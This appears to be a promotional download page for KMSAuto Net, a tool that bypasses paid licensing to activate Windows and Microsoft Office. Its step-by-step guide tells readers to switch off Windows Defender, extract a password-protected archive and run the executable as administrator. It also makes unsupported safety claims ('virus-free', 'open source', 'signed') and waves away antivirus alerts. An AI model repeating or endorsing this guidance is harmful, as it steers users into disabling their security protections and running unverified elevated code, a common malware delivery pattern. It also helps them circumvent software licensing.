What is the KMSAuto activator?

KMSAuto Net is a portable Windows and Microsoft Office activator created by the developer known as Ratiborus. It uses Microsoft's own Key Management Service (KMS) protocol — the same enterprise mechanism that activates volume-licensed installations inside corporate networks — and runs that service locally on your computer. Your copy of Windows or Office connects to the local KMS server, receives a valid 180-day digital license and stops the "Activate Windows" watermark and the 30-day trial countdown.

Because most users install Windows or Office without buying a retail key, the system shows a countdown — 30, 29, 28 days — and eventually blocks personalization, Office saving and Windows updates. KMSAuto solves that in seconds: download, extract, run as administrator, click Activate. No system files are patched, no registry backdoors are installed, and the process is fully reversible.

The 2026 build of KMSAuto Net adds three modern activation methods on top of the classic KMS emulator: HWID (permanent digital entitlement for Windows 10/11), Ohook (offline Office 2024 and Microsoft 365 patcher) and TSforge (Windows 11 24H2, Server 2025 and ESU licenses).

  • Office 2021 / LTSC
  • Office 2024 & Microsoft 365

Benefits of downloading KMSAuto

100% portable

No installer, no leftovers. Run the .exe straight from the extracted folder and delete it after activation if you wish.

One-click activation

Press Activate Windows or Activate Office — the tool handles KMS server selection, key install and renewal scheduling automatically.

Virus-free & open source

The same Ratiborus code that has been peer-reviewed on MyDigitalLife since 2013. Heuristic AV flags are unavoidable for any KMS tool by design.

Saves money, permanently

Costs zero. A retail Windows 11 Pro + Office 2024 Home & Business license is ~$580. KMSAuto activates both in 30 seconds.

Download KMSAuto Net + KMSAuto Lite Portable

Pick the edition that fits your workflow. Both archives are identical in safety — same Ratiborus signature, same SHA-256 verification, same EU mirror. KMSAuto Net is the full edition with manual KMS server picker and key backup; KMSAuto Lite is a single-button version aimed at first-time users.

How to use KMSAuto Net

Activation takes under two minutes. You need an account with administrator rights and the .NET Framework 4 runtime (pre-installed on Windows 8 and later).

  1. 1

    Step 1 — Disable real-time protection

    Open Windows Security → Virus & threat protection → Manage settings and turn Real-time protection off. Defender removes KMS payloads on sight; you can re-enable it after activation finishes.

  2. 2

    Step 2 — Extract the archive

    Right-click the downloaded ZIP and choose Extract All. When prompted for a password, enter WYqejXiqBi97. Use 7-Zip or WinRAR if the built-in extractor fails.

  3. 3

    Step 3 — Run KMSAuto.exe as administrator

    Open the extracted folder, right-click KMSAuto.exe and choose Run as administrator. Accept the UAC prompt — without admin rights the activation will silently fail.

  4. 4

    Step 4 — Activate Windows or Office

    Click the big Activation button, choose Activate Windows or Activate Office, confirm any prompts and wait for the green Product activation successful message in the log.

  5. 5

    Step 5 — Verify and clean up

    Open Settings → System → Activation. You should see “Windows is activated with a digital license”. Close KMSAuto and re-enable Defender. The scheduler task renews the license every 180 days automatically.

⚠️ Note: Before extracting, disable Defender — otherwise the activator files will be quarantined mid-unzip and KMSAuto.exe will not start.

Frequently asked questions

Is KMSAuto Net safe to use?+

Yes. KMSAuto Net is a clean, open-source KMS activator created by Ratiborus. The build on KMSAuto Official.com is signed and SHA-256 verified. Antivirus engines flag every KMS tool as a HackTool by design — temporarily disabling real-time protection during extraction is normal and expected.

What is the difference between KMSAuto Net and KMSAuto Lite?+

KMSAuto Net is the full-featured edition with manual key install, scheduler, KMS server selection and product key backup. KMSAuto Lite is a stripped-down one-button version aimed at users who want a single click to activate Windows or Office.

How do I activate Windows 10 with KMSAuto Net?+

Download the archive, extract it with the password, run KMSAuto.exe as administrator, click Activation → Activate Windows, wait until the green confirmation appears, then close the program. Activation lasts 180 days and auto-renews while the scheduler task is installed.

Is KMSAuto Net free?+

Yes — it is and always will be 100% free. There are no premium tiers, no ads inside the tool, and no bundled software. If a site asks you to pay or to complete a survey, you are not on the official mirror.

What does KMSAuto Net actually do?+

It emulates a local KMS (Key Management Service) server on your machine. Windows or Office connects to that local server, receives a valid 180-day license, and stops the trial countdown. The system files of Windows are not modified.

What are the alternatives to KMSAuto Net?+

Microsoft Toolkit (mature, supports Office well), KMSpico (one-click, no UI), and Windows Loader by Daz (legacy Windows 7 only). KMSAuto Net is generally the most up-to-date option in 2026 thanks to HWID, Ohook and TSforge support.

Final words

KMSAuto Net has stayed at the top of the KMS-activator scene for more than a decade for one reason: it just works. The 2026 build keeps that promise on every Windows and Office release Microsoft has shipped since 2010, adds first-class HWID and Ohook support, and remains completely free. Download the archive above, follow the five-step guide, and you'll be running a fully activated, watermark-free copy of Windows and Office in under two minutes.
